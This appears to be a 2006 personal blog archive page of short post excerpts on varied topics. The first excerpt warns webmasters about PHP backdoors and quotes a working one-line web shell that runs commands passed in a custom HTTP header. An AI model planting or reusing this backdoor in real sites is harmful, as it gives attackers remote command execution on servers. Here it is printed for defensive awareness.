Archive for February, 2006

Commonly found PHP backdoors, Vol. 1

Are you a webmaster who is concerned about hackers infesting your sites? Well, be on the look out for crud like this:
<? passthru(getenv(”HTTP_ACCEPT_jayman”)); ?>
This script can be used by sending whatever command you want in a “Accept-jayman:” HTTP header. “jayman” is just an example (a prevelant one), it could be anything. This can be placed [...]

Congrats to Alex Ostrovsky!

Congratulations to Alex Ostrovsky for downloading the 1000th file from iTunes. That’s quite a feat. I wonder what he’ll do with his 1 terabyte iPod?

That’s a lotta cat5

From what I could tell this crate, found at the top of the Westin Building’s parking garage, is entirely full of cable.

Sorry about the poor image quality — these are taken with my Treo 600 and without much light.

The Chuggler

The Chuggler bought advertising on Gmail to announce their 30oz mug, with a built in 12″ hose, like a “funnel”. They make it clear it’s not to be used with alcoholic beverages, but then half of the photos in their collection are clearly shot in bars. I’m sure they’re drinking apple juice, yeah!
I drink. I [...]

Trader Joe’s Deli Burritos

I just ate my first TJ’s Brand fresh burrito — holy cow, it was good. If you get one, the first thing you need to do is remove the wrapper and pretend it never existed. The instructions on it assume you have a microwave powered by a 60W bulb (I know that doesn’t make sense). [...]

Seattle PI covers Seattle Bus Service

Seattle Bus Service, as described by the Seattle PI. I do agree with the general premise, that the current bus system is woefully inadequate. Full busses and infrequent trips just means less “new” riders, forcing more people to drive.
However, it seems to me that if Seattle really wants better bus service for their residents, they [...]